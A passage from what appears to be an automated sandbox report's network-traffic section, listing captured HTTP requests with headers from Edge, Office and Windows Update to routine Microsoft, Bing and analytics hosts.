Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-MS-GEC: A5A4A428DF348E8F1DBA8A15313178101BE57A18B45B42804FA178C7FDFA4E51Sec-MS-GEC-Version: 1-117.0.2045.55Referer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msKSj.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239370639702_1LY06F7YB2ZF9D3G5&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239360264291_1OMXAE3VFGJI9A76K&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239370639703_1XZVEAKL3PD7EZGL4&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239360264303_1FV8HLP8B8WOIRSCV&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732125470383&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=28E93D09C21660CD09BC2834C3746145&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1F33e57f5ba9e94c00145101732125471; XID=1F33e57f5ba9e94c00145101732125471
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=28E93D09C21660CD09BC2834C3746145&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=12e7dc2a41054bf390ce02078e76ea9f HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=28E93D09C21660CD09BC2834C3746145; _EDGE_S=F=1&SID=318808FB6BD96B0E0D161DC66A5C6A22; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732125470382&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=ccd0fd7b3902437281037ab16e9a62fd&activityId=ccd0fd7b3902437281037ab16e9a62fd&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=F4F88F636E6E4E9EBBDD3FA481D47ECA&MUID=28E93D09C21660CD09BC2834C3746145 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=28E93D09C21660CD09BC2834C3746145; _EDGE_S=F=1&SID=318808FB6BD96B0E0D161DC66A5C6A22; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239317301274_1PA1BJMKSSMY4Z5BP&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=28E93D09C21660CD09BC2834C3746145&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=0348a76b81654ad6943db14a7c28a0a2 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=28E93D09C21660CD09BC2834C3746145; _EDGE_S=F=1&SID=318808FB6BD96B0E0D161DC66A5C6A22; _EDGE_V=1; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msKEt.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239317301683_1HSDAIPF7ZNRJKYTI&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=mVspmPnUz+xGfLt&MD=m7VUbVNA HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
